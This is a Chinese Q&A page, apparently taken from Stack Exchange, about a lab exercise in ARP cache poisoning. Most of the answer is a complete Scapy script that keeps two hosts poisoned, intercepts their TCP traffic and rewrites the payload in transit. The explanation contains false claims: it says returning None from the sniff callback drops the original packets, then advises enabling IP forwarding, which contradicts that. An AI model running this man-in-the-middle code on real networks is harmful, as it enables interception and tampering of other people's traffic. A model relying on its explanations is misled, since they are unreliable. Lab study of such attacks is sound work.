ARP缓存投毒实验问题:数据包篡改后字符未变更求助
ARP缓存投毒实验中TCP载荷篡改失效的问题排查与修复
你的代码能捕获数据包但篡改不生效,核心是几个关键细节没处理到位,下面是问题分析和修复方案:
核心问题分析
原始数据包未拦截丢弃
你只发送了篡改后的数据包,但原始未篡改的包仍会正常到达目标主机。TCP协议栈会优先处理先到的包,后续篡改的包会被判定为重复或序列号异常而丢弃,导致目标主机接收不到修改后的数据。TCP载荷赋值方式错误
Scapy中不能直接把bytes数据赋值给new_tcp_pkt.payload,需要用Raw()类封装载荷数据,否则Scapy无法正确识别和处理TCP payload。ARP欺骗状态无法维持
只发送一次ARP欺骗包,目标主机的ARP缓存会在超时后恢复正确映射,后续数据包就不会再被你的主机拦截,自然无法篡改。数据包发送缺少链路层控制
使用send()函数时Scapy会自动处理路由,但在ARP投毒场景下,应该明确指定链路层的源/目标MAC,确保数据包能正确到达目标主机,避免路由问题导致篡改包丢失。
修复后的完整代码
from scapy.all import * import threading import time #!/usr/bin/python3 VM_A_IP = '10.9.0.5' VM_B_IP = '10.9.0.6' VM_A_MAC = '02:42:0a:09:00:05' VM_B_MAC = '02:42:0a:09:00:06' ATTACKER_MAC = '02:42:0a:09:00:69' ATTACKER_IP = '10.9.0.69' # 你的攻击机IP def log_message(message): print("[*]", message) def arp_spoof_loop(): # 持续发送ARP回复,维持中毒状态 while True: # 欺骗VM_A:我是VM_B pkt_to_A = Ether(dst=VM_A_MAC, src=ATTACKER_MAC) / ARP( op=2, hwsrc=ATTACKER_MAC, psrc=VM_B_IP, hwdst=VM_A_MAC, pdst=VM_A_IP ) # 欺骗VM_B:我是VM_A pkt_to_B = Ether(dst=VM_B_MAC, src=ATTACKER_MAC) / ARP( op=2, hwsrc=ATTACKER_MAC, psrc=VM_A_IP, hwdst=VM_B_MAC, pdst=VM_B_IP ) sendp(pkt_to_A, verbose=False) sendp(pkt_to_B, verbose=False) time.sleep(2) # 每2秒发送一次,维持缓存 def spoof_pkt(pkt): if IP in pkt and TCP in pkt: # 处理VM_A发往VM_B的数据包 if pkt[IP].src == VM_A_IP and pkt[IP].dst == VM_B_IP: if pkt[TCP].payload: real_data = pkt[TCP].payload.load modified_data = real_data.replace(b'B', b'A').replace(b'b', b'A') # 复制IP层并删除校验和,让Scapy自动重新计算 new_ip = IP(pkt[IP].copy()) del new_ip.chksum # 复制TCP层,删除校验和,用Raw封装修改后的载荷 new_tcp = TCP(pkt[TCP].copy()) del new_tcp.chksum new_tcp.payload = Raw(modified_data) # 封装链路层,指定目标MAC为VM_B new_pkt = Ether(dst=VM_B_MAC, src=ATTACKER_MAC) / new_ip / new_tcp sendp(new_pkt, verbose=False) print(f"Data changed from: {real_data} to: {modified_data}") # 丢弃原始数据包,阻止其到达目标 return None # 处理VM_B发往VM_A的数据包,直接转发维持连接 elif pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_A_IP: new_ip = IP(pkt[IP].copy()) new_tcp = TCP(pkt[TCP].copy()) new_pkt = Ether(dst=VM_A_MAC, src=ATTACKER_MAC) / new_ip / new_tcp sendp(new_pkt, verbose=False) # 同样丢弃原始包 return None if __name__ == "__main__": log_message("Starting ARP attack:") # 启动ARP欺骗线程,持续维持中毒状态 spoof_thread = threading.Thread(target=arp_spoof_loop) spoof_thread.daemon = True spoof_thread.start() # 开启嗅探,指定iface并设置prn返回None丢弃原始包 sniff(iface="eth0", filter="tcp", prn=spoof_pkt, store=0)
关键修改说明
- 添加ARP欺骗循环线程:用后台线程持续发送ARP回复,每2秒一次,确保目标主机的ARP缓存始终被篡改。
- 丢弃原始数据包:
spoof_pkt函数最后返回None,配合sniff的store=0参数,让Scapy丢弃原始数据包,只发送篡改后的包。 - 正确封装TCP载荷:使用
Raw(modified_data)来封装修改后的字节数据,确保Scapy正确生成TCP payload。 - 明确链路层封装:所有发送的数据包都用
Ether层指定源/目标MAC,避免路由问题导致数据包无法到达。 - 双向ARP欺骗:同时欺骗VM_A和VM_B,确保双向的数据包都经过攻击机,维持完整的TCP连接。
验证步骤
- 确保攻击机开启IP转发(Linux下执行
echo 1 > /proc/sys/net/ipv4/ip_forward),否则VM_A和VM_B之间的通信会中断。 - 运行修改后的代码,在VM_A发送包含'B'或'b'的TCP数据,检查VM_B接收的数据是否被替换为'A'。
- 可以用
tcpdump在攻击机和目标机上抓包,确认原始包被丢弃,篡改后的包正常发送。
内容的提问来源于stack exchange,提问作者KotatsuGhost
相关产品推荐
相关产品推荐

